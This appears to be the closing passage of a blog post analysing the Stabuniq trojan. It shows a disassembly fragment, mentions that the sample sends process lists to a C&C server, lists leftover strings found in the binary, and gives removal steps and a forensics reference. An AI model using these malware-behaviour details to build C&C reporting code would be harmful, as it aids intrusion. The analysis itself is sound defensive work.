.text:004072A1                 mov     edx, [ebp+arg_4]
.text:004072A4                 call    dword ptr [edx+1B0h] ; wsprintfA("%d")

then the process list is updated and sent again to the C&C server. In our sample there are a few more strings, unreferenced, that might be an indication of stripped-out code used for different purposes and that might be used from future or different versions of Stabuniq:

  • Store key in cache? (y/n)
  • sshtest123
  • You gonna die like a bitch in the wolfs house.
  • password:
  • PortForwardings=
  • -load muhaha -P

Removal Instructions

Removing this version of Stabuniq is quite easy:

  1. Start your task manager and kill any iexplore.exe process
  2. Open the windows registry, remove startup the entries mentioned above
  3. Reboot
  4. Remove the executable pointed by the startup strings in the registry

Usually running an updated AV is a good option too… Just in case.


Indicators of Compromise

SANS institute recently published a comprehensive analysis of Indicators of Compromise in Memory Forensics, the paper includes also a study of Stabuniq.



Stabuniq seems to be in a phase of information gathering, nevertheless it might become a real threat as soon as the author decides to change the behaviour of this trojan, if you have any update or just want to share something with us, please use the comment section below.

Written by: Quequero & Evilcry